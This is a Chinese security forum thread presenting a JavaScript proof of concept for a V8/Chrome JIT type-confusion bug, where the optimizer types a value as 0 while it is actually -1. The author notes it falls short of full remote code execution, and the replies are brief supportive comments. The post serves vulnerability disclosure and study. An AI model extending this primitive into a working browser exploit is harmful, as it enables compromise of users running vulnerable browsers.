论坛 › TSD/原创 › 【原创】chrome已提交的两个漏洞分析(六)

村长 发表于 2022-1-28 22:16:48

【原创】chrome已提交的两个漏洞分析(六)

完整Poc：
function bar(a, arg_true) {
let o = {c0: 0, cf: false};
let x = ((a&5)==2)|0;
let y = ((a&6)==1)|0;

"a";"a"; // generate CheckBounds()

x = x + (o.cf ? "" : (2**30) - (o.c0&1)) - (2**30); // type is Range(-1,0), but only after LoadElimination
y = y + (o.cf ? "" : (2**30) - (o.c0&1)) - (2**30);

x = Math.min(2**32-1, x + (2**32-1)) - (2**32-1); // type is Range(-1,0) already during Typer
y = Math.min(2**32-1, y + (2**32-1)) - (2**32-1);
let confused = Math.max(-1,x & y); // type is Range(..., 0), really is 1
confused = Math.max(-1, confused); // type is Range(-1, 0), really is 1
confused = ((0-confused)>>31); // type is Range(0, 0), really is -1
return confused;
}

console.log(bar(3, true));
for (var i = 0; i < 3*10**4; i+=1) bar(0,true);
console.log(bar(3,true));
以上并不是达到rce的完整exp
还需要iterator.nex

天镜盗梦 发表于 2022-1-29 10:50:21

站位支持

liqiang24 发表于 2022-2-1 17:35:33

纯粹路过，没任何兴趣，仅仅是看在老用户份上回复一下

千面萌萌 发表于 2022-2-2 22:15:11

学习下

大司命 发表于 2022-2-3 07:53:07

支持支持再支持

伴我多久 发表于 2022-2-3 12:32:43

路过的帮顶

查看完整版本: 【原创】chrome已提交的两个漏洞分析(六)